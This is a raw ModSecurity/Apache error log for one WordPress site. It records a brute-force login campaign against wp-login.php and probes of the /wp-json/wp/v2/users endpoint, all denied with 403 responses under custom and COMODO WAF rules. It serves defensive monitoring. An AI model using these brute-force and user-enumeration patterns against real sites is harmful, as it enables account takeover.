[Wed Nov 12 23:02:29.422119 2025] [:error] [pid 60405:tid 60409] [client 62.60.130.213:62032] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRShhXMGv_mlVi6mf5oyygAAAAE"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:02:32.843384 2025] [:error] [pid 60405:tid 60430] [client 62.60.130.213:62032] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRShiHMGv_mlVi6mf5oy0QAAABY"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:02:32.843483 2025] [:error] [pid 60405:tid 60430] [client 62.60.130.213:62032] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 13"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRShiHMGv_mlVi6mf5oy0QAAABY"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:02:38.364733 2025] [:error] [pid 23737:tid 23753] [client 62.60.130.213:61405] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRShjhQUsVVfOZWgW_XzVwAAAYQ"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:02:38.364809 2025] [:error] [pid 23737:tid 23753] [client 62.60.130.213:61405] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 14"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRShjhQUsVVfOZWgW_XzVwAAAYQ"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:02:41.198350 2025] [:error] [pid 23737:tid 23771] [client 62.60.130.213:56971] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 14"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/index.php"] [unique_id "aRShkRQUsVVfOZWgW_XzWgAAAZY"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:02:45.920318 2025] [:error] [pid 23737:tid 23766] [client 62.60.130.213:51773] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 14"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/edit.php"] [unique_id "aRShlRQUsVVfOZWgW_XzXQAAAZE"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:02:48.672953 2025] [:error] [pid 23737:tid 23767] [client 62.60.130.213:51783] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 14"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/plugins.php"] [unique_id "aRShmBQUsVVfOZWgW_XzYQAAAZI"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:02:50.354366 2025] [:error] [pid 60180:tid 60204] [client 62.60.130.213:57924] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRShmlhgd7ccS8EZg1p3EwAAAVY"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:02:55.875128 2025] [:error] [pid 12744:tid 12750] [client 135.181.31.52:52374] [client 135.181.31.52] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "aRShn51cp_ouUvkFj0WZHwAAAQI"]
[Wed Nov 12 23:02:59.161599 2025] [:error] [pid 12744:tid 12756] [client 62.60.130.213:63621] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/edit.php"] [unique_id "aRSho51cp_ouUvkFj0WZIgAAAQg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:03:00.774639 2025] [:error] [pid 60096:tid 60130] [client 62.60.130.213:59932] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/plugins.php"] [unique_id "aRShpDmzkhCvvk8DXOzRpQAAAIQ"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:03:05.254748 2025] [:error] [pid 60097:tid 60172] [client 62.60.130.213:59932] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRShqcdT5oio_TbWpi-tKgAAANM"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:03:08.632709 2025] [:error] [pid 23737:tid 23773] [client 202.61.232.214:45068] [client 202.61.232.214] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "aRShrBQUsVVfOZWgW_XzcwAAAZg"]
[Wed Nov 12 23:03:09.324497 2025] [:error] [pid 60097:tid 60142] [client 62.60.130.213:59932] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRShrcdT5oio_TbWpi-tMAAAAMA"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:03:12.785242 2025] [:error] [pid 60097:tid 60173] [client 62.60.130.213:59932] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRShsMdT5oio_TbWpi-tNQAAANQ"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:03:15.137931 2025] [:error] [pid 60097:tid 60175] [client 62.60.130.213:59932] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 12"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/index.php"] [unique_id "aRShs8dT5oio_TbWpi-tOAAAANY"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:03:17.946734 2025] [:error] [pid 60405:tid 60412] [client 62.60.130.213:63369] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 12"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/profile.php"] [unique_id "aRShtXMGv_mlVi6mf5oy5wAAAAQ"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:03:22.894451 2025] [:error] [pid 23737:tid 23769] [client 62.60.130.213:60623] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 12"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/plugins.php"] [unique_id "aRShuhQUsVVfOZWgW_XzgQAAAZQ"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:03:26.898413 2025] [:error] [pid 60180:tid 60186] [client 62.60.130.213:51633] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRShvlhgd7ccS8EZg1p3KwAAAUQ"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:03:26.898504 2025] [:error] [pid 60180:tid 60186] [client 62.60.130.213:51633] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRShvlhgd7ccS8EZg1p3KwAAAUQ"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:03:38.527691 2025] [:error] [pid 60405:tid 60409] [client 62.60.130.213:51482] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRShynMGv_mlVi6mf5oy_AAAAAE"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:03:39.641763 2025] [:error] [pid 60405:tid 60431] [client 62.72.46.63:38046] [client 62.72.46.63] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/index.php/wp-json/wp/v2/users"] [unique_id "aRShy3MGv_mlVi6mf5ozAAAAABc"]
[Wed Nov 12 23:03:41.482878 2025] [:error] [pid 60096:tid 60133] [client 103.113.67.34:48316] [client 103.113.67.34] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/index.php/wp-json/wp/v2/users"] [unique_id "aRShzTmzkhCvvk8DXOzRygAAAIc"]
[Wed Nov 12 23:03:44.486958 2025] [:error] [pid 60405:tid 60416] [client 62.60.130.213:51482] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSh0HMGv_mlVi6mf5ozAwAAAAg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:03:44.487106 2025] [:error] [pid 60405:tid 60416] [client 62.60.130.213:51482] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 15"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSh0HMGv_mlVi6mf5ozAwAAAAg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:03:47.342629 2025] [:error] [pid 23737:tid 23772] [client 62.60.130.213:58810] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSh0xQUsVVfOZWgW_XznwAAAZc"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:03:47.342736 2025] [:error] [pid 23737:tid 23772] [client 62.60.130.213:58810] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSh0xQUsVVfOZWgW_XznwAAAZc"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:03:48.907258 2025] [:error] [pid 12744:tid 12767] [client 62.60.130.213:52686] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/index.php"] [unique_id "aRSh1J1cp_ouUvkFj0WZcgAAARM"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:03:50.480994 2025] [:error] [pid 60405:tid 60414] [client 62.60.130.213:52686] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/profile.php"] [unique_id "aRSh1nMGv_mlVi6mf5ozBgAAAAY"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:03:53.584226 2025] [:error] [pid 23737:tid 23758] [client 62.60.130.213:63466] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/plugins.php"] [unique_id "aRSh2RQUsVVfOZWgW_XzpwAAAYk"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:03:55.144398 2025] [:error] [pid 12744:tid 12758] [client 62.60.130.213:65489] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSh251cp_ouUvkFj0WZkgAAAQo"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:03:55.144477 2025] [:error] [pid 12744:tid 12758] [client 62.60.130.213:65489] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 12"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSh251cp_ouUvkFj0WZkgAAAQo"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:03:59.190478 2025] [:error] [pid 60095:tid 60122] [client 62.60.130.213:65489] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSh33lw2elroagFF1pfZAAAAFc"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:04:01.733205 2025] [:error] [pid 60095:tid 60112] [client 62.60.130.213:65489] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSh4Xlw2elroagFF1pfbgAAAE0"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:04:02.272780 2025] [:error] [pid 60095:tid 60100] [client 62.60.130.213:65489] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 12"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/index.php"] [unique_id "aRSh4nlw2elroagFF1pfcQAAAEE"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:04:06.019707 2025] [:error] [pid 60097:tid 60152] [client 62.60.130.213:52912] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 12"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/profile.php"] [unique_id "aRSh5sdT5oio_TbWpi-taAAAAMU"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:04:08.053196 2025] [:error] [pid 60095:tid 60101] [client 62.60.130.213:52250] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 12"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/edit.php"] [unique_id "aRSh6Hlw2elroagFF1pfdgAAAEI"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:04:12.132917 2025] [:error] [pid 60097:tid 60169] [client 62.60.130.213:63153] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 12"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/plugins.php"] [unique_id "aRSh7MdT5oio_TbWpi-tbwAAANA"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:04:15.489655 2025] [:error] [pid 12744:tid 12753] [client 62.60.130.213:54104] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSh751cp_ouUvkFj0WZnwAAAQU"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:04:18.500553 2025] [:error] [pid 12744:tid 12772] [client 62.60.130.213:54104] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSh8p1cp_ouUvkFj0WZowAAARg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:04:18.500633 2025] [:error] [pid 12744:tid 12772] [client 62.60.130.213:54104] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSh8p1cp_ouUvkFj0WZowAAARg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:04:26.307360 2025] [:error] [pid 23737:tid 23770] [client 62.60.130.213:64684] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSh-hQUsVVfOZWgW_XzwQAAAZU"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:04:26.852482 2025] [:error] [pid 23737:tid 23762] [client 62.60.130.213:64684] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 12"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/index.php"] [unique_id "aRSh-hQUsVVfOZWgW_XzwgAAAY0"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:04:30.156670 2025] [:error] [pid 60095:tid 60113] [client 62.60.130.213:58065] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 12"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/profile.php"] [unique_id "aRSh_nlw2elroagFF1pfggAAAE4"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:04:32.559890 2025] [:error] [pid 60097:tid 60171] [client 62.60.130.213:58891] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 12"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/edit.php"] [unique_id "aRSiAMdT5oio_TbWpi-tfgAAANI"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:04:34.331476 2025] [:error] [pid 60097:tid 60172] [client 62.60.130.213:59425] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 12"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/plugins.php"] [unique_id "aRSiAsdT5oio_TbWpi-tggAAANM"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:04:36.165665 2025] [:error] [pid 23737:tid 23758] [client 62.60.130.213:60733] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSiBBQUsVVfOZWgW_Xz1AAAAYk"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:04:39.165864 2025] [:error] [pid 23737:tid 23756] [client 62.60.130.213:60733] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSiBxQUsVVfOZWgW_Xz1gAAAYc"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:04:39.726215 2025] [:error] [pid 23737:tid 23757] [client 62.60.130.213:60733] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 12"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/index.php"] [unique_id "aRSiBxQUsVVfOZWgW_Xz1wAAAYg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:04:42.487537 2025] [:error] [pid 23737:tid 23767] [client 62.60.130.213:52928] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 12"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/profile.php"] [unique_id "aRSiChQUsVVfOZWgW_Xz2QAAAZI"], referer: https://rcacivilgroup.com/wp-login.php
